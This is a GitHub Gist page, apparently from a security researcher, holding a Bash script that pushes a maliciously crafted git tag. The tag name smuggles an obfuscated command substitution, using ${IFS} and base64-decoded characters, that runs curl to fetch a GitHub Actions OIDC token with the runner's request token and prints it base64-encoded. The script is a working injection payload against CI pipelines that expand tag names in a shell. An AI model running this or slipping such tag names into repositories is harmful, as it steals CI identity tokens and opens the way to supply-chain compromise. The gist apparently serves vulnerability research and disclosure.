Skip to content

Instantly share code, notes, and snippets.

@fproulx-boostsecurity

fproulx-boostsecurity/malicious-bash-in-git-tag.sh

Last active March 28, 2024 16:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fproulx-boostsecurity/67f93a8541d8154910dab3fc2bfc6237 to your computer and use it in GitHub Desktop.
Save fproulx-boostsecurity/67f93a8541d8154910dab3fc2bfc6237 to your computer and use it in GitHub Desktop.
Download ZIP
Maliciously crafted Git tag (Bash injection)
Raw
malicious-bash-in-git-tag.sh
#!/bin/bash
#set -x
git commit --allow-empty -m 'New release'
RND_SEMVER="v1.3.$((RANDOM % 1000))"
git tag $RND_SEMVER'$('\
'S="$(echo${IFS}-n${IFS}IA==|base64${IFS}--decode)";'\
'C="$(echo${IFS}-n${IFS}Og==|base64${IFS}--decode)";'\
'curl${IFS}'\
'-H"Authorization${C}${S}bearer${S}$ACTIONS_ID_TOKEN_REQUEST_TOKEN"${IFS}'\
'"$ACTIONS_ID_TOKEN_REQUEST_URL"'\
'|base64'\
')'
FINAL_TAG=$(git describe --tags --exact-match)
git push origin "$FINAL_TAG"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment